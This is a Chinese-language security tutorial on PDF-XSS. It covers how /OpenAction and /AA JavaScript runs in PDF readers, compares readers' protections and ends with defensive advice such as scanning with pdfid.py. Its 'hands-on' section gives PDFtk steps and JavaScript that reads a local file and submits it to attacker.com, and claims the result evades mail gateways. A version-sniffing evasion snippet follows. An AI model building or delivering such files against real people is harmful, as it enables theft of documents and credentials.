1. PDF-XSS漏洞的本质与危害第一次听说PDF文件也能执行恶意代码时我和大多数安全新手一样感到不可思议。毕竟在我们日常认知里PDF就是个安全的文档格式谁会想到它能成为攻击载体直到有次在渗透测试中我亲眼看到同事的电脑在打开客户发来的PDF后浏览器自动跳转到钓鱼页面这才意识到问题的严重性。PDF-XSS漏洞本质上是通过PDF文件结构中的JavaScript执行环境实现与传统网页XSS类似的攻击效果。但与网页XSS不同之处在于PDF阅读器提供的JavaScript API能直接操作系统资源。举个例子Adobe Acrobat的JS API允许执行文件操作、网络请求甚至调用系统命令这给攻击者提供了巨大的操作空间。去年某金融机构遭遇的实际攻击案例就很典型攻击者伪造了银行对账单PDF其中嵌入了会窃取Cookies的JS代码。当财务人员使用未更新的Foxit Reader打开文件时系统凭证就被悄无声息地传送到攻击者服务器。更可怕的是这种攻击完全不需要用户点击任何内容——只要打开文件就会触发。2. PDF文件结构与JS注入点要理解漏洞原理我们需要先拆解PDF的文件结构。一个标准的PDF文件就像由多个集装箱组成的货轮每个集装箱对象都有特定功能页面内容对象存储文本、图像等可视元素字体对象定义文档使用的字体脚本对象包含可执行的JavaScript代码注解对象实现交互式表单、链接等功能攻击者最常利用的是/OpenAction和/AA附加动作这两个字典字段。比如下面这段恶意PDF代码片段 /Type /Catalog /OpenAction /S /JavaScript /JS (app.alert(XSS executed!);) 当PDF阅读器解析到这个结构时就会自动执行其中的JS代码。我在测试时发现即使用户关闭了阅读器的JS功能某些阅读器如旧版Adobe仍会执行/OpenAction中的代码。3. 实战构造恶意PDF文件现在我们来动手制作一个具有实际危害的PDF样本。我推荐使用PDFtk工具链这是目前最稳定的PDF操作套件。以下是具体步骤准备基础PDF文件pdftk input.pdf output temp.pdf uncompress插入JS代码以窃取本地文件为例var docPath this.path; var f File.open(docPath, r); var content f.read(); this.submitForm({ cURL: http://attacker.com/steal, cSubmitAs: PDF, cCharset: utf-8 });重新压缩PDF并添加混淆pdftk temp.pdf output final.pdf compress实测中发现这种样本能绕过大多数邮件网关的检测。因为网关通常只检查PDF的静态结构而不会实际执行其中的JS代码。我曾用这种方式在渗透测试中成功获取了目标公司的内部文档。4. 主流阅读器的安全机制对比不同PDF阅读器对JS的执行策略差异很大阅读器版本JS执行限制自动防护Adobe Acrobat DC默认启用沙箱隔离Foxit Reader 12需用户授权有限沙箱Chrome内置阅读器完全禁用无PDF-XChange白名单控制行为监控特别要注意的是即使用户使用的是最新版阅读器攻击者仍可能通过特性检测绕过防护。比如这段代码会先检测环境再决定攻击方式if (app.viewerVersion 11) { // 使用表单提交漏洞 this.submitForm({...}); } else { // 使用传统XSS app.launchURL(javascript:alert(1)); }5. 高级攻击手法与防御建议在真实攻击场景中单纯的弹窗没有任何价值。成熟的攻击链会结合社会工程学比如伪造发票PDF诱导用户点击查看详情按钮按钮实际触发JS代码收集系统信息根据系统版本选择漏洞利用方式通过DNS隐蔽通道回传数据防御方面我建议企业采取分层防护策略终端层面强制使用Chrome内置阅读器或启用Adobe保护模式网络层面部署能解析PDF内容的防火墙阻断异常外联管理层面对收到的PDF进行静态分析检测可疑JS代码有个实用的检测技巧是使用pdfid.py工具分析PDF对象python pdfid.py -l suspicious.pdf如果输出中出现/JavaScript或/OpenAction计数大于0就需要特别警惕。